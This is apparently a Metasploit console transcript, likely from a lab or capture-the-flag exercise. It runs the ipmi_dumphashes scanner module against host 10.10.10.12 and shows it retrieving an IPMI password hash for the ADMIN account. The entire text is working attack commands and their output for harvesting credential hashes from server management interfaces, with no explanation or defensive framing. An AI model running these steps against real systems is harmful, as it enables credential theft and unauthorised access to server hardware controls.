msf5 use auxiliary/scanner/ipmi/ipmi_dumphashes
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.10.10.12
msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 10.10.10.12:623 - IPMI - Hash found: ADMIN:84eaac57180000006c2ad3df7e0a746f542cf3232b7a3b0ee20f4eff[...]00140541444d494e:361d72b683182e7adf0478d7113f30443988b8d0
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed